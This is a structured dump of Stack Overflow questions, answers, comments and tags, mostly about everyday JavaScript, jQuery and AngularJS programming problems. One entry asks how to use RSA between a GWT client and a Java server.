has body: so I have this page, basically on a button click, I want to retrieve a list from another HTML file (or ASP or PHP, whatever) and add it to a list I already have. I'm just not sure how to go about doing this. Any ideas? autocomplete demo Click me hello world Also, if can anyone provide a simple HTML page that will create a list of dummy strings for me to test it with? Thanks!
type: Question
answer count: 2
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40374300
has answer: http://stackoverflow.com/a/25815649
has comment: http://stackoverflow.com/comment/40373916
score: 0
has title: How to retrieve a list using jQuery.get() method in HTML
accepted answer: http://stackoverflow.com/a/25815649
has answer: http://stackoverflow.com/a/25810650
tagged with: javascript

http://stackoverflow.com/a/25810774
answers question: http://stackoverflow.com/q/25808490
has comment: http://stackoverflow.com/comment/40374770
has comment: http://stackoverflow.com/comment/40376418
score: 0
type: Answer
has body: As I stated in the comment and on demand of Cooper I post an example: angular.module('myApp',[]) .factory('httpInterceptor', ['$q', '$location',function ($q, $location) { var canceller = $q.defer(); return { 'request': function(config) { // promise that should abort the request when resolved. config.timeout = canceller.promise; return config; }, 'response': function(response) { return response; }, 'responseError': function(rejection) { if (rejection.status === 401) { canceller.resolve('Unauthorized'); $location.url('/user/signin'); } if (rejection.status === 403) { canceller.resolve('Forbidden'); $location.url('/'); } return $q.reject(rejection); } }; } ]) //Http Intercpetor to check auth failures for xhr requests .config(['$httpProvider',function($httpProvider) { $httpProvider.interceptors.push('httpInterceptor'); }]) .config(['$stateProvider',function($stateProvider) { // states for users $stateProvider .state('users', { abstract: true, templateUrl: 'users/views/users.html', resolve: { issessionedin: function(Sessions){ return Sessions.isLoggedIn(); } } }) .state('users.account', { url: '/user/account/:id', templateUrl: 'users/views/account.html', resolve: { user: function(Users, $stateParams){ return Users.get($stateParams.id); } }, controller:'UserAccountController' }) }]) .factory('Sessions', ['$http', function($http) { return{ isSessionedIn :function() { $http.get('/api/v1/issessionedin'); }, isLoggedIn :function() { $http.get('/api/v1/isloggedin'); }, hasAccess :function(permission) { $http.get('/api/v1/hasaccess/'+permission); } }; } ]); of course you need the code server side to return the http status code

http://stackoverflow.com/q/25809579
type: AnsweredQuestion
score: 1
type: Question
downvote count: 0
answer count: 1
tagged with: javascript
favorite count: 0
has answer: http://stackoverflow.com/a/25894265
has body: I am just wondering if anyone has implemented the ng-flow Angular.js module back to a formidable node.js server. I have got communication working and the files downloading but I am having issues with how ng-flow works. It chunks the files into multiple smaller uploads in parallel. On the server side all of these chunks are received and saved. But I am not sure how to reconstruct the received chunks. Thanks in Advance! Rabid
tagged with: angularjs
upvote count: 1
has title: ngFlow to Forimidable node.js server
accepted answer: http://stackoverflow.com/a/25894265
tagged with: node.js

http://stackoverflow.com/a/25733593
type: Answer
answers question: http://stackoverflow.com/q/25733528
has body: From the documentation: The hash you get back isn't a string yet. It's a WordArray object. When you use a WordArray object in a string context, it's automatically converted to a hex string. and You can convert a WordArray object to other formats by explicitly calling the toString method and passing an encoder.
accepted answer of: http://stackoverflow.com/q/25733528
score: 4
upvote count: 4
type: AcceptedAnswer
downvote count: 0

event-handling
tag name: event-handling
tags question: http://stackoverflow.com/q/25858148
tags question: http://stackoverflow.com/q/25717450
tags question: http://stackoverflow.com/q/25734282
tags question: http://stackoverflow.com/q/25722348
type: Tag
tags question: http://stackoverflow.com/q/25782468
tags question: http://stackoverflow.com/q/25846305

http://stackoverflow.com/comment/40336045
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25789617
has text: Also, called them: console.log('Is palindrome (function): ' + palindromeFunctionTest('abcdefghijkkjihgfedcba')); console.log('Is palindrome (method): ' + palindromeMethodTest.chkForPalindrome('abcdefghijkkjihgfedcba'));
score: 0

http://stackoverflow.com/q/25834569
type: Question
tagged with: touch
has answer: http://stackoverflow.com/a/25836779
score: 0
tagged with: css-transforms
answer count: 1
tagged with: javascript
tagged with: jquery
has body: I'm creating a slider that displays a panoramic image by moving it horizontally inside a container. Features or Intention (it's under development): By default the animation happens automatically, changing the transformX value, in each step; the user's able to touch the element and drag it left or right; when touchend event's triggered, the slider resumes the animation from the user's dragged x position; The problem is that when a user touch the element and starts dragging, the input value on transformX makes the element jumpy, apparently because the anchor point is different every time the user touches the draggable element. What I'd like to know is, how to calculate the anchor point or position, where the user is dragging from? Or what's the best practice to always calculate from the same point, to avoid having this jumps. I've done quite a lot of research at the moment without success. You can find a live example in the following link (http://jsbin.com/quhabi/1/edit). Please turn on the touch emulator on your brower because at the moment I'm not yet supporting mouse dragging. You can also have a look into the code below (depends on jQuery): sass: html { width: 100%; height: 100%; body { width: 100%; height: 100%; background-color: #999; .panorama { width: 80%; height: 80%; margin: 0 auto; overflow: hidden; img { height: 100%; position: relative; transition: opacity 0.6s ease; transform-origin:left top; } } } } html: &lt;div class="panorama"&gt; &lt;img src="images/panorama.jpg" alt=""&gt; &lt;/div&gt; Javascript: /*globals $, window */ 'use strict'; $('document').ready(function () { var panorama = { // properties $panorama: $('.panorama'), $moveElement: $('.panorama img'), timestart: 0, seconds: 12, msTotal: 0, direction: -1, positionX: 0, percentage: 0, animationFrameID: false, myRequestAnimationFrame: (function () { return function (callback) { return window.setTimeout(callback, 1000 / 60); }; })(), touchPlayTimeout: 3000, moveTimeoutID: null, rightBoundary: nul…
has title: How to calculate anchor point, when changing transformX value on touchmove event?
type: UnansweredQuestion

extjs
tags question: http://stackoverflow.com/q/25723379
tags question: http://stackoverflow.com/q/25789656
tags question: http://stackoverflow.com/q/25848503
tags question: http://stackoverflow.com/q/25769173
tags question: http://stackoverflow.com/q/25845532
tags question: http://stackoverflow.com/q/25784241
tags question: http://stackoverflow.com/q/25809345
tags question: http://stackoverflow.com/q/25732573
tags question: http://stackoverflow.com/q/25720519
type: Tag
tags question: http://stackoverflow.com/q/25810709
tags question: http://stackoverflow.com/q/25811019
tags question: http://stackoverflow.com/q/25793520
tags question: http://stackoverflow.com/q/25783376
tags question: http://stackoverflow.com/q/25750519
tags question: http://stackoverflow.com/q/25826229
tags question: http://stackoverflow.com/q/25866690
tags question: http://stackoverflow.com/q/25756787
tags question: http://stackoverflow.com/q/25862248
tags question: http://stackoverflow.com/q/25771560
tags question: http://stackoverflow.com/q/25732890
tags question: http://stackoverflow.com/q/25848582
tags question: http://stackoverflow.com/q/25723675
tag name: extjs
tags question: http://stackoverflow.com/q/25751132
tags question: http://stackoverflow.com/q/25759369
tags question: http://stackoverflow.com/q/25787500
tags question: http://stackoverflow.com/q/25763695
tags question: http://stackoverflow.com/q/25871952
tags question: http://stackoverflow.com/q/25819498

http://stackoverflow.com/a/25725324
has comment: http://stackoverflow.com/comment/40218721
answers question: http://stackoverflow.com/q/25725139
score: 1
upvote count: 1
has body: what about the situation where the properties themselves are methods? In the interest of keeping things immutable I'd rather not let users change the properties of one of these objects after they've been initialized. I wouldn't call these "properties" any more, but "accessor" or "getter" methods. In this case does it make any sense to use the prototype instead of the constructor to add functionality to an object? Yes, if you mean functionality like calculate. If you mean getters like name, department or number you need to place them in the constructor as they need privileged access to the config. Canonically I know that instance data should go with the instance of the class and the methods the object actually uses should be on the prototype It's a bit different actually: Everything instance-specific (data, accessor methods with distinct scopes) needs to go on the instance and is usually set up in the constructor Everything that is shared amongst all instances (typically methods, but also data in some rare cases) should go on the prototype. Concrete.prototype = Base.prototype; No! Use Concrete.prototype = Object.create(Base.prototype); instead.
has comment: http://stackoverflow.com/comment/40221246
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25725139
type: Answer

http://stackoverflow.com/comment/40230705
has text: Also, Promises are starting to be natively supported in browsers, so soon you won't need a library at all to use them!
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25731273

webbrowser-control
type: Tag
tag name: webbrowser-control
tags question: http://stackoverflow.com/q/25795274
tags question: http://stackoverflow.com/q/25740411
tags question: http://stackoverflow.com/q/25810225

http://stackoverflow.com/a/25802624
has body: The simplest option is to not put the page you want to share in a frame (that includes putting it on JS Fiddle which uses frames).
has comment: http://stackoverflow.com/comment/40435209
score: 0
has comment: http://stackoverflow.com/comment/40432880
answers question: http://stackoverflow.com/q/25779039
has comment: http://stackoverflow.com/comment/40439692
type: Answer

http://stackoverflow.com/comment/40208525
has text: Many users change the font size of your page by configuring their browser settings. If you use absolute positioning, things will not align right for them. In absolute positioning, when your page gets more complex, a single design decision would require you to reposition all of the elements, but in relative positioning, you would only need to change one value, and all the other elements would adjust accordingly.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25720019
type: Comment

http://stackoverflow.com/q/25812116
has answer: http://stackoverflow.com/a/25820274
tagged with: jsp
tagged with: javascript
has body: Here is a snippet from my JSP file &lt;c:set var="myVar"&gt; &lt;spring:eval expression="@propertyConfigurer.getProperty('someproperty.in.file')" /&gt; &lt;/c:set&gt; &lt;script src="js/myJavascript.js"&gt;&lt;/script&gt; How do I access the myVar in the myJavaScript.js? I have already tried the following things in my JavaScript file, neither of them worked for me var tempVar = "&lt;%= session.getAttribute(\"myVar\") %&gt;"; var tempVar = "${myVar}"; var tempVar = "&lt;%=myVar%&gt;" Note: Tested solutions highly appreciated. Thanks.
type: UnansweredQuestion
type: Question
has answer: http://stackoverflow.com/a/39091214
score: 0
answer count: 2
tagged with: jstl
has title: Accessing a JSP (using JSTL) variable in INCLUDED javascript file which is included in the same JSP

http://stackoverflow.com/comment/40228546
score: 0
comment on: http://stackoverflow.com/q/25729958
type: Comment
has text: Mind posting the AJAX call?
type: QuestionComment

http://stackoverflow.com/q/25761495
type: Question
score: 0
answer count: 2
has body: This is my Javascript function so far : function changeImg (){ document.getElementById('main').style.backgroundImage = "url('./img/map/maphv.png')" } function changeBack () { document.getElementById('main').style.backgroundImage = "url('./img/map/map.png')" } This is in the HTML : &lt;div id="main"&gt; &lt;a data-title="Africa" href="collection/africa.html" onmouseover="mouseoversound.playclip();changeImg()" onmouseout="changeBack()"&gt;&lt;img class="africa" src="./img/map/africa.png" height="50"/&gt; &lt;/a&gt; This is the CSS : #main { background-image: url(../img/map/map.png); background-size: 100%; background-repeat: no-repeat; width: 100%; height: 580px; position: relative; } #main img.africa { top: 244px; left: 397px; height: 33.5%; position: absolute; width: 18%; opacity:0; } #main img.africa:hover { top: 244px; left: 397px; height: 33.5%; position: absolute; width: 18%; opacity:1; transition: opacity .5s ease-in-out; -moz-transition: opacity .5s ease-in-out; -webkit-transition: opacity .5s ease-in-out; } So the CSS is quite irrelevant but I posted it so that you can see how the top hover is fading in and out. I just wanted to add the fade to the onmouseover event to the background map main element. So really I just need to add the fade in the Javascript function and add that function to the mouseover event handler? Any ideas as Javascript is not my first language.. ;)
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25761858
has answer: http://stackoverflow.com/a/25762027
has title: How do I add a fade to a change image mouseover event?
has comment: http://stackoverflow.com/comment/40286101
tagged with: http://stackoverflow.com/tag/html
tagged with: css
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40285206

http://stackoverflow.com/a/25823987
has body: Use String.prototype.search ' foo'.search(/\S/); // 4, index of first non whitespace char EDIT: You can search for "Non whitespace characters, OR end of input" to avoid checking for -1. ' '.search(/\S|$/)
answers question: http://stackoverflow.com/q/25823914
has comment: http://stackoverflow.com/comment/82163345
accepted answer of: http://stackoverflow.com/q/25823914
score: 65
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40399032
has comment: http://stackoverflow.com/comment/40399007
type: Answer
has comment: http://stackoverflow.com/comment/40399059
has comment: http://stackoverflow.com/comment/40399175
upvote count: 65
has comment: http://stackoverflow.com/comment/40399054

http://stackoverflow.com/q/25777287
linked to: http://stackoverflow.com/q/118463
has body: I want to encrypt data between a Java Server backend and a GWT Client. On the GWT client I use the sbn.js library. It works very fast and is much faster that gwt-crypto. Here is How I encrypt on the client side given (e,n) of RSA. I created a JSFiddle: var n = "BC86E3DC782C446EE756B874ACECF2A115E613021EAF1ED5EF295BEC2BED899D26FE2EC896BF9DE84FE381AF67A7B7CBB48D85235E72AB595ABF8FE840D5F8DB"; var e = "3"; var d = "7daf4292fac82d9f44e47af87348a1c0b9440cac1474bf394a1b929d729e5bbcf402f29a9300e11b478c091f7e5dacd3f8edae2effe3164d7e0eeada87ee817b"; function do_encrypt() { var before = new Date(); var rsa = new RSAKey(); rsa.setPublic(n, e); var res = rsa.encrypt($("#plaintext").val()); $("#ciphertext").val(res); $("#cipherb64").val(hex2b64(res)); console.log("res"); } $("#encrypt").click(function () { do_encrypt(); }); I use the hex representation of the encrypted plaintext to be decrypted on the server. Here is how I decrypt on the server. I use the following libs: compile 'org.bouncycastle:bcprov-jdk15on:1.51' compile 'org.bouncycastle:bcprov-ext-jdk15on:1.51' Here is how I decrypt on the server using (d,n) of RSA: try { BigInteger modulus = new BigInteger("BC86E3DC782C446EE756B874ACECF2A115E613021EAF1ED5EF295BEC2BED899D26FE2EC896BF9DE84FE381AF67A7B7CBB48D85235E72AB595ABF8FE840D5F8DB",16); BigInteger exponent = new BigInteger("3"); RSAKeyParameters publicKey = new RSAKeyParameters(false, modulus, exponent) BigInteger exponent2 = new BigInteger("7daf4292fac82d9f44e47af87348a1c0b9440cac1474bf394a1b929d729e5bbcf402f29a9300e11b478c091f7e5dacd3f8edae2effe3164d7e0eeada87ee817b", 16); RSAKeyParameters privateKey = new RSAKeyParameters(true, modulus, exponent2) String encryptedData = "a7f7d5c77c246729141cdfcc77f1f7b38d5f8066b0bc53b2e85119f3f1784f43be2140b5c382ad483bb57cc1b586962cbb1e831e6070a27e4880bbc549e20a372571d09c6b1269ddd7288916f10c96a9138f4165569c4767bfb489de2d44b450ed1495c99da985dc264dabadd9709ccd950ae55095373ccbc3344a26b3efd2dc"; ////// decrypt AsymmetricBlockCipher d = n…
type: Question
linked to: http://stackoverflow.com/q/1199058
tagged with: gwt
score: 3
tagged with: javascript
has comment: http://stackoverflow.com/comment/40329683
has answer: http://stackoverflow.com/a/25953053
has title: How Do I use RSA between Server and GWT Client?
has comment: http://stackoverflow.com/comment/40631614
answer count: 1
downvote count: 0
favorite count: 0
linked to: http://stackoverflow.com/q/7166275
type: UnansweredQuestion
tagged with: encryption
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40315553
upvote count: 3
tagged with: java

http://stackoverflow.com/q/25774848
favorite count: 0
has comment: http://stackoverflow.com/comment/40309672
has comment: http://stackoverflow.com/comment/40310091
has comment: http://stackoverflow.com/comment/40310049
upvote count: 1
has comment: http://stackoverflow.com/comment/40309678
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40309751
tagged with: dom
type: Question
possible better answer: http://stackoverflow.com/a/25774963
has answer: http://stackoverflow.com/a/25774963
has comment: http://stackoverflow.com/comment/40310432
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25775002
tagged with: jquery
has title: Changing DOM values with a loop
has comment: http://stackoverflow.com/comment/40310402
has answer: http://stackoverflow.com/a/25774962
answer count: 3
has body: So all I want to do is use a loop to set the value attribute in this code from my DOM to 0. &lt;input type="hidden" name="Pn_87001_qty" id="Pn_87001_qty" value="1" /&gt; &lt;input type="hidden" name="Pn_87001_qty" id="Pn_87002_qty" value="1" /&gt; &lt;input type="hidden" name="Pn_87001_qty" id="Pn_87003_qty" value="1" /&gt; &lt;input type="hidden" name="Pn_87001_qty" id="Pn_87004_qty" value="1" /&gt; I have this function that creates an array with all of the id's in it. function testing02() { var eles = []; var inputs = document.querySelectorAll('[id^="Pn_"]'); for (var i = 0; i &lt; inputs.length; i++) { if (inputs[i].name.indexOf('#Pn_') == 0) { eles.push(inputs[i]); } } console.log(inputs.length); } And I can change the value of individual value attributes with this code: test01 = document.getElementById('Pn_87001_qty'); test01.setAttribute("value", "1000"); That being said, I can not figure out a way to make a loop that sets the value attribute based on the ID's from my input array. Nor can I figure out a way to make the loop above fill the input array with the entire input element so that I can write a second loop to change the values. I've tried using .getElementsByName, .getElementsByClass as well as document.querySelector. I'm stuck and new to javascript. Any help would be greatly appreciated. I can do Jquery or Javascript
score: 1
accepted answer: http://stackoverflow.com/a/25774962

object-literal
tag name: object-literal
tags question: http://stackoverflow.com/q/25777499
type: Tag

http://stackoverflow.com/comment/40210306
comment on: http://stackoverflow.com/a/25721169
type: Comment
has text: @RubenSerrate: That's a good question. The answer is no, it shouldn't be `undefined`, because the function has an *enduring reference to the variable*, not a *copy* of the variable's value as of when the function was created. It uses the variable itself, and so like all variable accesses, it happens when you do it. So the var is declared, the function is created, you assign a value to the var, and then you call the function. This is the basis of closures. More (on my blog): [*Closures are not complicated*](http://blog.niftysnippets.org/2008/02/closures-are-not-complicated.html)
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40379654
type: QuestionComment
comment on: http://stackoverflow.com/q/25813387
has text: im just relating by the number, it is in order 1 to 121 and the subtitle 1 is the description 1 etc.. but i dont have something to relate to title maybe thats my error??
score: 0
type: Comment

http://stackoverflow.com/comment/40245160
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25728568
type: Comment
has text: thanks Joseph, that's exactly what i wanted ! mixing this with my angular JS code and it works fine !!

http://stackoverflow.com/a/25801810
accepted answer of: http://stackoverflow.com/q/25801720
type: Answer
has comment: http://stackoverflow.com/comment/40358726
upvote count: 1
has body: You need to run the function and not wait for the 4 first seconds: var i = 0; function doSomething() { $('.slide').fadeOut('slow').delay(200); $('.slide:eq(' + i + ')').fadeIn('slow').delay(2000); i = (i + 1) % 5; } $document.ready(function () { setInterval(doSomething, 4000); doSomething(); // run it! }); JSFIDDLE.
has comment: http://stackoverflow.com/comment/40358773
has comment: http://stackoverflow.com/comment/40358841
answers question: http://stackoverflow.com/q/25801720
type: AcceptedAnswer
downvote count: 0
score: 1

http://stackoverflow.com/a/25723891
downvote count: 0
score: 8
upvote count: 8
type: Answer
has body: Ctrl + Shift + Del Clear all cached data* In the newer versions of browsers it can be different like clear only files and images cache or something else similar to this. Ctrl + F5 should be enough.
answers question: http://stackoverflow.com/q/25723801

http://stackoverflow.com/q/25824488
has title: json load as javascript code and use variables
has comment: http://stackoverflow.com/comment/40401481
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40399859
has comment: http://stackoverflow.com/comment/40401986
type: Question
tagged with: javascript
tagged with: jquery
has body: If i load a json file like this in HTML The json file looks like this and is from another domain and can't be opened by "$getJson" {"name":"Stop","instance":"Find","quality":"port","vsm":"port1","smn":"port2","Protection":"UK","fail":"oun domain","restriction":"other domain"} Is there any way to use the variables from the json file in a JavaScript code? I've tried this but no luck!
has comment: http://stackoverflow.com/comment/40399814
score: 0
has answer: http://stackoverflow.com/a/25824546
linked to: http://stackoverflow.com/q/2067472
answer count: 1
accepted answer: http://stackoverflow.com/a/25824546
has comment: http://stackoverflow.com/comment/40399811

yui
tags question: http://stackoverflow.com/q/25773248
tags question: http://stackoverflow.com/q/25784445
tags question: http://stackoverflow.com/q/25731114
tags question: http://stackoverflow.com/q/25820894
tag name: yui
tags question: http://stackoverflow.com/q/25752029
type: Tag
tags question: http://stackoverflow.com/q/25873447

http://stackoverflow.com/q/25837301
has comment: http://stackoverflow.com/comment/40423595
score: 0
answer count: 1
has body: In IE > 7 it can be done by checking if value exists in the attributes collection or using getAttribute() which returns null, but in IE &lt;= 7, this collection returns all the supported attributes and getAttribute() returns an empty string, the same as element.value. attributes getAttribute() Any hints?
has comment: http://stackoverflow.com/comment/40423894
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25837484
linked to: http://stackoverflow.com/q/6048710
type: Question
has title: Check if "value" attribute is present in IE7
tagged with: internet-explorer-7
tagged with: javascript

http://stackoverflow.com/q/25864282
tagged with: php
downvote count: 1
has comment: http://stackoverflow.com/comment/40472485
has answer: http://stackoverflow.com/a/25864391
has comment: http://stackoverflow.com/comment/40472651
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40472724
has comment: http://stackoverflow.com/comment/40472790
upvote count: 0
has body: On button click event, I add some text box in my web page, so now I want to get the value of that textbox which was entered by the user. How can I do this? $(document).ready(function() { var max_fields = 100; var wrapper = $("#test1"); var add_button = $("#eassy"); var x = 1; $(add_button).click(function(e){ e.preventDefault(); if(x &lt; max_fields) { //max input box allowed x++; $(wrapper).append('&lt;div&gt;&lt;input type="text" name="pay"&gt;&lt;/div&gt;'); } }); }); I use this to dynamically create textboxes. Please give me some guidelines!
tagged with: javascript
tagged with: jquery
favorite count: 0
has title: How to get dynamic textbox values in PHP?
has comment: http://stackoverflow.com/comment/40472731
type: Question
has answer: http://stackoverflow.com/a/25864372
score: -1
has comment: http://stackoverflow.com/comment/40472403
answer count: 2

http://stackoverflow.com/comment/40297013
has text: `fetchMessages` is not a function, you cannot execute it. | So ember can deal with a promise returned from `model()`? | Where is `findBy` defined?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25767885
score: 2

http://stackoverflow.com/comment/40331483
score: 0
type: Comment
has text: I guess you need to learn the basics of jQuery event handling. Get a jQuery book or look for a web tutorial, I'm not going to try to teach that.
comment on: http://stackoverflow.com/a/25787188
type: AnswerComment

http://stackoverflow.com/comment/40478279
score: 0
has text: Well, I did that, but Symfony displays this error message: An exception has been thrown during the compilation of a template ("You must add IkprojGroupeBundle to the assetic.bundle config to use the {% javascripts %} tag in IkprojGroupeBundle:GroupeEvents:Addeventgroupe.html.twig.") in "IkprojGroupeBundle:GroupeEvents:Addeventgroupe.html.twig".By the way, this is the code I added: `{% javascripts '@IkprojGroupeBundle/Resources/public/js/sharedCode.js' %} {% endjavascripts %}`
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25864838

http://stackoverflow.com/a/25822988
type: Answer
has body: Are you sure things used to work before? You need to set the 4th argument of addEventListener to true. Argument is called wantsUntrusted. MDN :: addEventListener Also see this topic here: How to listen to custom events on all windows, bubbling issue? So try this: //Listen for the event window.addEventListener("MyEvent", function(evt) { console.log(evt.detail); }, false, true); //Dispatch an event var evt = document.createEvent("CustomEvent"); evt.initCustomEvent("MyEvent", true, true, { name : 'activate', method : function() { //... } }); window.dispatchEvent(evt);
has comment: http://stackoverflow.com/comment/40408020
score: 0
answers question: http://stackoverflow.com/q/25821780
has comment: http://stackoverflow.com/comment/40397462

http://stackoverflow.com/comment/58634942
score: 0
type: Comment
type: QuestionComment
has text: well I did since it was more than a year ago. Unfortunately i dont remember anything about it now
comment on: http://stackoverflow.com/q/25852115

http://stackoverflow.com/comment/40462433
has text: I will probably be mostly doing my coding in Notepad++ and testing it on IE8, when I'm coding at work or on Chrome at home because those are the browsers I traditionally use in my work environment.
type: Comment
comment on: http://stackoverflow.com/a/25854635
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40309187
score: 0
has text: Not sure why it was downvoted, it's a correct answer. +1
type: Comment
comment on: http://stackoverflow.com/a/25774665
type: AnswerComment

http://stackoverflow.com/comment/40315123
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25777499
has text: @Matt Ball: I'm asking about the repetition of typing the `existingObject` variable, and whether there is a way to reduce the tedious-ness of doing so.

http://stackoverflow.com/comment/40195446
type: Comment
score: 0
has text: Thanks @vks I've thought about doing it like this by spliting the string into an array and then running another regex on each string in the array.
comment on: http://stackoverflow.com/q/25713060
type: QuestionComment

http://stackoverflow.com/comment/40322975
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25780032
has text: What they actually do in their javascript script is getting the current url the script is running on. It's a very simple thing to do: http://www.w3schools.com/js/js_window_location.asp
type: Comment

http://stackoverflow.com/comment/40260690
comment on: http://stackoverflow.com/q/25748160
has text: `$('select').focus(function(){ })` ?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/25762828
answers question: http://stackoverflow.com/q/25762658
type: Answer
downvote count: 0
score: 1
has body: You may try this: var arr = ["iPhone - Simulator - iOS 6.1", "iPhone - Simulator - iOS 7.1", "iPhone Retina (3.5-inch) - Simulator - iOS 6.1", "iPhone Retina (3.5-inch) - Simulator - iOS 7.1", "iPhone Retina (4-inch) - Simulator - iOS 6.1", "iPhone Retina (4-inch) - Simulator - iOS 7.1", "iPhone Retina (4-inch 64-bit) - Simulator - iOS 6.1", "iPhone Retina (4-inch 64-bit) - Simulator - iOS 7.1", "iPad - Simulator - iOS 6.1", "iPad - Simulator - iOS 7.1", "iPad Retina - Simulator - iOS 6.1", "iPad Retina - Simulator - iOS 7.1", "iPad Retina (64-bit) - Simulator - iOS 6.1", "iPad Retina (64-bit) - Simulator - iOS 7.1", ""]; console.log('before', arr); var i = arr.length; while (i--) { arr[i] = arr[i].replace(/(-)(inch)/g, '#$2').replace(/(-)(bit)/g, '#$2'); } console.log('after', arr);
upvote count: 1

http://stackoverflow.com/comment/40402033
score: 0
type: Comment
has text: Well now the original code IS working so I don't know what just happened. Incidentally it's now working with or without the quotation so definitely not that but since I can't figure out how to delete this and you're the only one who tried I guess you may as well have the answer.
comment on: http://stackoverflow.com/a/25825287
type: AnswerComment

http://stackoverflow.com/a/25823559
type: Answer
has body: If you're targeting modern browsers you can create promises without any library at all. Your code should look like this: var Animation = function( duration, callback ) { return new Promise(function (fulfill, reject) { // Your code ... setInterval(function(){ // More of your code ... if (something) { // When it's done ... fulfill() } }, 10) }) } The promise object returned should have a then method.
answers question: http://stackoverflow.com/q/25823322
score: 0

http://stackoverflow.com/comment/40366510
comment on: http://stackoverflow.com/q/25806404
type: Comment
has text: no they dont, check the link in my other comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40452717
comment on: http://stackoverflow.com/q/25853046
has text: `JSON.stringify(array_list)`
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/25843610
has body: After receiving your filter called $scope.$apply() as following: It is refresh your scope. $scope.$apply(function() { // your code });
downvote count: 0
answers question: http://stackoverflow.com/q/25843515
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/comment/40421266
type: QuestionComment
comment on: http://stackoverflow.com/q/25836113
score: 0
has text: You need to format your code so that it easier to see what is going on. For some reason you have put braces around your while statement. This will still work, but it doesn't do anything.
type: Comment

http://stackoverflow.com/comment/40514693
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25864915
has text: They are one below the other. I meant one besides the other

http://stackoverflow.com/a/25846546
downvote count: 0
has comment: http://stackoverflow.com/comment/40444942
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25845202
type: Answer
has body: I hope your getting the input as time stamp ,in your code just change the filter to get the only day Recent Study {{ x.study_description }} here date:'dd ' gives Day in month, padded (01-31) and date:'MMM-dd ' gives Month in year (Jan-Dec) and above day in month.
has comment: http://stackoverflow.com/comment/40440146
has comment: http://stackoverflow.com/comment/40440004

http://stackoverflow.com/q/25774993
has comment: http://stackoverflow.com/comment/40311443
has title: BundleConfig scripts not working
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40311207
has comment: http://stackoverflow.com/comment/40309955
has comment: http://stackoverflow.com/comment/40311348
tagged with: asp.net-mvc-4
has comment: http://stackoverflow.com/comment/40310205
type: Question
has body: I'm using the following BundleCollection items on my ASP MVC 4 site (first time using MVC 4). I'm trying to load jQuery and Backbone.js, but according to Chrome's console this is working properly. Below is the .js file I'm using right now. When I first load the page I get the following error If I comment out that line, then I get this error on the next line That seems to tell me that, even though I am not getting any errors, Backbone and jQuery are not loading properly (although I could be wrong). BundleConfig public class BundleConfig { // For more information on Bundling, visit http://go.microsoft.com/fwlink/?LinkId=254725 public static void RegisterBundles(BundleCollection bundles) { bundles.Add(new ScriptBundle("~/bundles/BackboneApps").Include( "~/Scripts/SliderApp.js")); bundles.Add(new ScriptBundle("~/bundles/jsMVC").Include( "~/Scripts/underscore.js", "~/Scripts/backbone.js")); bundles.Add(new ScriptBundle("~/bundles/jquery").Include( "~/Scripts/jquery-{version}.js")); bundles.Add(new ScriptBundle("~/bundles/jqueryui").Include( "~/Scripts/jquery-ui-{version}.js")); bundles.Add(new ScriptBundle("~/bundles/jqueryval").Include( "~/Scripts/jquery.unobtrusive*", "~/Scripts/jquery.validate*")); // Use the development version of Modernizr to develop with and learn from. Then, when you're // ready for production, use the build tool at http://modernizr.com to pick only the tests you need. bundles.Add(new ScriptBundle("~/bundles/modernizr").Include( "~/Scripts/modernizr-*")); bundles.Add(new StyleBundle("~/Content/css").Include("~/Content/site.css")); bundles.Add(new StyleBundle("~/Content/themes/base/css").Include( "~/Content/themes/base/jquery.ui.core.css", "~/Content/themes/base/jquery.ui.resizable.css", "~/Content/themes/base/jquery.ui.selectable.css", "~/Content/themes/base/jquery.ui.accordion.css", "~/Content/themes/base/jquery.ui.autocomplete.css", "~/Content/themes/base/jquery.ui.button.css", "~/Content/themes/base/jquery.ui.dialog.css", "~/Content/themes/base…
has answer: http://stackoverflow.com/a/25777535
has comment: http://stackoverflow.com/comment/40309893
score: 1
tagged with: javascript
upvote count: 1
answer count: 1
downvote count: 0
tagged with: jquery
has comment: http://stackoverflow.com/comment/40311176
favorite count: 0
tagged with: backbone.js

http://stackoverflow.com/comment/40402665
type: Comment
comment on: http://stackoverflow.com/a/25826045
has text: Don't feel bad about the question - this is confusing behavior on both Twitter's API and the JavaScript language. Both could have done a better job at letting you know what's wrong.
type: AnswerComment
score: 0

http://stackoverflow.com/a/25768220
has body: I always recommend using great library for date and time, which is Moment.js. You can achieve required functionality pretty easy. Check this SO thread out for more details: Moment.js - How To Detect Daylight Savings Time And Add One Day
type: Answer
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25768062
upvote count: 2

http://stackoverflow.com/comment/40418833
comment on: http://stackoverflow.com/q/25834979
score: 0
has text: Change this var notif_id = $(".notif_id").val(); to var notif_id = $(this).val();
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40410607
score: 0
type: AnswerComment
type: Comment
